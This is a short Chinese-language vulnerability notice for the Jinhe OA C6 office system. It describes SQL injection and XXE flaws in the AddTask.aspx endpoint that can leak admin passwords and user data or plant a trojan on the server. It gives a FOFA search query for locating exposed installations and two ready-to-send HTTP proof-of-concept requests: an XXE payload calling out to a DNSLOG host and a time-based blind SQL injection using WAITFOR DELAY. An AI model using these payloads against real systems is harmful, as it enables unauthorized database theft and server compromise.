漏洞說(shuō)明：

金和網(wǎng)絡(luò)是專業(yè)信息化服務(wù)商,為城市監(jiān)管部門提供了互聯(lián)網(wǎng)+監(jiān)管解決方案,為企事業(yè)單位提供組織協(xié)同OA系統(tǒng)開發(fā)平臺(tái),電子政務(wù)一體化平臺(tái),智慧電商平臺(tái)等服務(wù)。金和OA C6 AddTask.aspx 接口處存在SQL注入漏洞，同時(shí)該接口還存在XXE漏洞，攻擊者除了可以利用 SQL 注入漏洞獲取數(shù)據(jù)庫(kù)中的信息（例如，管理員后臺(tái)密碼、站點(diǎn)的用戶個(gè)人信息）之外，甚至在高權(quán)限的情況可向服務(wù)器中寫入木馬，進(jìn)一步獲取服務(wù)器系統(tǒng)權(quán)限。

漏洞類型：

命令執(zhí)行和數(shù)據(jù)注入

漏洞特征：

FOFA:app="金和網(wǎng)絡(luò)-金和OA" || body="/c6/Jhsoft.Web.dailytaskmanage/AddTask.aspx"

POC:

xxe命令執(zhí)行poc,需要dnslog外帶回顯

POST /c6/Jhsoft.Web.dailytaskmanage/AddTask.aspx/ HTTP/1.1Content-Type: application/xmlHost: xxx.comContent-Length: 134<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://DNSURL">%remote;]><root/>

時(shí)間盲注poc,需要查看時(shí)間

POST /c6/Jhsoft.Web.dailytaskmanage/AddTask.aspx/ HTTP/1.1Content-Type: application/xmlHost: xxx.comContent-Length: 229<root>  <Page>    <PageName>TaskDetect</PageName>  </Page>  <StartTime>2023-01-01 00:00:00</StartTime>  <EndTime>2023-01-01 00:00:00</EndTime>  <TaskExecutorID>3');WAITFOR DELAY'0:0:5'-- </TaskExecutorID></root>